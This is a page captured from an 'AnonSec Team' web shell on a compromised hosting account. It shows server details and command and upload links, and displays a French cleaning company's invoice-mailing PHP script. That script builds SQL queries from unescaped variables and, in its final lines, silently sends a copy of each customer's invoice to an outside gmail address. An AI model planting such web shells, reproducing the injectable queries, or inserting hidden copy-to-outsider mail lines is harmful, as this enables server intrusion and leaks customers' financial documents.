AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/MC/lesCheques/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/MC/lesCheques/../email.php
<?
function envoyer_email($type, $id, $s) {
// echo "test <br/>" ;
	// exit() ; 
	global $agence;
	
	$agence_config = dbi_fetch_row(dbi_query("SELECT ville_nom, value AS email FROM ".TABLE_CONFIG." c LEFT JOIN ".TABLE_VILLE." USING (agence_id) WHERE c.agence_id='$agence' AND c.key='email'"));
	if($agence_config['email']!='') {
		define('EMAIL_EXPEDITEUR', 'Menage & Cie - '.$agence_config['ville_nom']);
		define('EMAIL_EXPEDITEUR_ADRESSE',$agence_config['email']);
	} else {
		define('EMAIL_EXPEDITEUR', 'Menage & Cie');
		define('EMAIL_EXPEDITEUR_ADRESSE','info@menage-et-compagnie.com');
	}
	
	$boundary = "-----=".md5(uniqid(rand())) ;
	$headers = "Content-Type: multipart/alternative; boundary=\"$boundary\"\n" ;
	$headers .= "Content-Transfer-Encoding: base64\n" ;
	$headers .= "From: \"".EMAIL_EXPEDITEUR."\" <".EMAIL_EXPEDITEUR_ADRESSE.">\n" ;
	$headers .= "MIME-Version: 1.0\n" ;

	$txt='';
	$html='';
	
	switch($type){
		case 'facture':
			$facturation = dbi_fetch_row(dbi_query("SELECT client_id, client_genre, client_pnom, client_nom, client_email, f.num_fact,f.fact_id, date_fact FROM ".TABLE_FACT." f LEFT JOIN ".TABLE_CLIENT." c USING (client_id) WHERE f.agence_id='$agence' AND f.fact_id='$id'"));
			include('includes/email/templates/facture.php');
		break;
		case 'relance':
			$relance_query = dbi_query("SELECT f.num_fact,
			f.fact_id, total, date_fact,
			total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
			if(a.avoir is null, 0, a.avoir) avoir,
			f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'R�gl�', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de r�glement', 'R�glement partiel')) statut,
			f.relance, client_id, client_genre, client_pnom, client_nom, client_email
			FROM ".TABLE_FACT." f
			LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $id group by fact_id) p ON f.fact_id = p.fact_id
			LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
			LEFT JOIN ".TABLE_CLIENT." c USING (client_id)
			WHERE f.client_id=$id
			AND f.agence_id=$agence
			AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) < total
			GROUP BY date_fact, f.fact_id, total
			order by num_fact DESC") ;
			include('includes/email/templates/relance.php');
		break;
	}
	// $file_name='/includes/email/test.pdf';
	// $file_type = filetype($file_name);
	// $file_size = filesize($file_name);
 
	// $handle = fopen($file_name, 'r') or die('File '.$file_name.'can t be open');
	// $content = fread($handle, $file_size);
	// $content = chunk_split(base64_encode($content));
	// $f = fclose($handle);
 
	// $msg .= '--'.$boundary."\r\n";
	// $msg = "--$boundary\n" ;
	// $msg .= 'Content-type:'.$file_type.';name='.$file_name."\r\n";
	// $msg .= 'Content-transfer-encoding:base64'."\r\n";
	// $msg .= $content."\r\n"; 
	/*
	$fact_id=$facture['fact_id'];
	$chemFact="/factures/".$client_id."/";
	$file=$chemFact.$fact_id.".pdf" ;*/
	//$file="/includes/email/test.pdf" ;
	
	// echo getcwd() . "\n";
	//echo $client_id;echo "\n";
	
	//echo $file;
	//echo $s;
	
	
	//echo $client_id;
	
	// $file = "test.pdf";
	//$fp = fopen($file, "rb");   // b c'est pour les windowsiens

// print_r(' ok');
//echo filesize($file);

$client_mail=$facturation['client_email'];
//echo $client_mail;
$attachment = chunk_split(base64_encode($s));
//echo $file;

//fclose($fp);
//$attachment = chunk_split(base64_encode($attachment));

//$id = ''.$di.'';
$msg .= "--$boundary\r\n";
// Et pour chaque partie on en indique le type
$msg .= "Content-Type: application/pdf; name=\"$file\"\r\n";
// Et comment il sera cod?
$msg .= "Content-Transfer-Encoding: base64\r\n";
// Petit plus pour les fichiers joints
// Il est possible de demander ? ce que le fichier
// soit si possible affich? dans le corps du mail
$msg .= "Content-Disposition: inline; filename=\"$id\"\r\n";
// Il est indispensable d'introduire une ligne vide entre l'ent?te et le texte
$msg .= "\r\n";
// C'est ici que l'on ins?re le code du fichier lu
$msg .= $attachment . "\r\n";
$msg .= "\r\n\r\n";

// voil?, on indique la fin par une nouvelle fronti?re
$msg .= "--$boundary--\r\n";






	// $message = "--$boundary\n" ;
	// $message .= "Content-type: text/plain; Charset=\"utf-8\"\n" ;
	// $message .= "Content-Transfer-Encoding: base64\n\n" ;
	// $message .= chunk_split(base64_encode($txt))."\n" ;
	// $message .= "--$boundary\n" ;
	// $message .= "Content-type: text/html; Charset=\"utf-8\"\n" ;
	// $message .= "Content-Transfer-Encoding: base64\n\n" ;
	// $message .= chunk_split(base64_encode($html))."\n" ;
	// $msg .= "--$boundary--\n" ;

	// echo " $file_name ???  ";
	
	mail(''.$client_mail.'', $email_sujet, $msg, $headers);
	$client_mail='yassin040@gmail.com';
	mail(''.$client_mail.'', $email_sujet, $msg, $headers);
}
?>

AnonSec - 2021